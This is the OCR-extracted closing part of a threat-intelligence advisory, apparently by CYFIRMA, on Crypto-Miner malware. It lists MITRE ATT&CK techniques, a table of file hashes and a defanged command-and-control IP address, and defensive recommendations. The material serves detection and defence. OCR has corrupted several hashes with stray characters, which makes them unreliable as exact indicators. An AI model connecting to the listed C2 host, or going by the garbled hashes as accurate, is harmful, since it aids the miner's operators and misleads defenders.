T1562.001: Disable or Modify Tools

T1562.002: Disable Windows Event Logging

T1070.004: File Deletion

T1055.012: Process Hollowing

T1497: Virtualization/Sandbox Evasion

4 Discovery (TA0007)

T1622: Debugger Evasion

T1497: Virtualization/Sandbox Evasion

5 Command and Control (TA0011)

T1071.001: Web Protocols

6 Impact (TA0040)

T1496: Resource Hijacking

T1489: Service Stop

264d332988d994bbd7f7ebe934b125a5953399f2189eb06da3c16a0b7dd89a3| SHA-256 Hash

software.exe

MITRE ATT&CK TACTICS AND TECHNIQUES .

S/N Indicators Type Context ‘

1 380f9774da8b0eb497bad9d4df6bfdb4 MDS5 Hash LaunchlinstallerFile_Passwd
_1234.rar

2  1454df772c510dbd8811382e0aa578b462ddfa520314468ac96efc2a61b358cd9| SHA-256 Hash| LaunchlinstallerFile_Passwd_|
rar

3  led4ab5c1d8afb84b9ae8e57307cdb4fa MDS5 Hash Autolnstall.exe

4  [7bb518d6881bb9fd88af0ab65be64765a3106e41d54f64e8f515643e5767d888¢ SHA-256 Hash | Autolnstall.exe

5 le0e0e425bbc61ed33ed008d44d22ce9 MDS5 Hash software2.exe

6 [12c4e815d60b14450fclabcdd6290f80b4bccecf34bc09ff89965c4f65f9986¢ SHA-256 Hash| software2.exe

7 laccf288f3d7¢c35497e4b422671fae5b MD5 Hash software.exe

8

9

185[.]221[.]196[.]81

IP Address

C2




RECOMMENDATIONS d

e Implement threat inteligence to proactively counter the threats associated with Crypto-Miner
malware.

e To protect the endpoints, use robust endpoint security solutions for real-time monitoring and threat
detection such as Antimalware security suit and host-based intrusion prevention system.

e Confinuous monitoring of the network activity with NIDS/NIPS and using the web application firewall
to filter/block the suspicious activity provide comprehensive protection from compromise due to
encrypted payloads.

e Configure firewalls to block outbound communication to known malicious IP addresses and domains
associated with Crypto-Miner malware command and control servers.

e Implement behavior-based monitoring to detect unusual activity patterns, such as suspicious
processes attempting to make unauthorized network connections.

e Employ application whitelisting to allow only approved applications to run on endpoints,
preventing the execution of unauthorized or malicious executables.

e Conducting vulnerability assessment and penetration testing on the environment periodically helps
in hardening the security by finding the security loopholes followed by remediation process.

e Use of security benchmarks to create baseline security procedures and organizational security
policies is also recommended.

e Develop a comprehensive incident response plan that outlines steps to take in case of a malware
infection, including isolating affected systems and notifying relevant stakeholders.

e Security awareness and training programs help to protect from security incidents such as social
engineering attacks. Organizations should remain vigilant and continuously adapt their defenses to
mitigate the evolving threats posed by Crypto-Miner malware.

e Update security patches which can reduce the risk for potential compromise.

O
CYFIRMA

DECODING THREATS

CYFIRMA is an external threat landscape management platform company. We combine cyber intelligence
with attack surface discovery and digital risk protection to deliver early warning, personalized, contextual,
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hacker’s view with deep insights into the external cyber landscape, helping clients prepare for impending
attacks. CYFIRMA is headqguartered in Singapore with offices across APAC, US and EMEA. The company is
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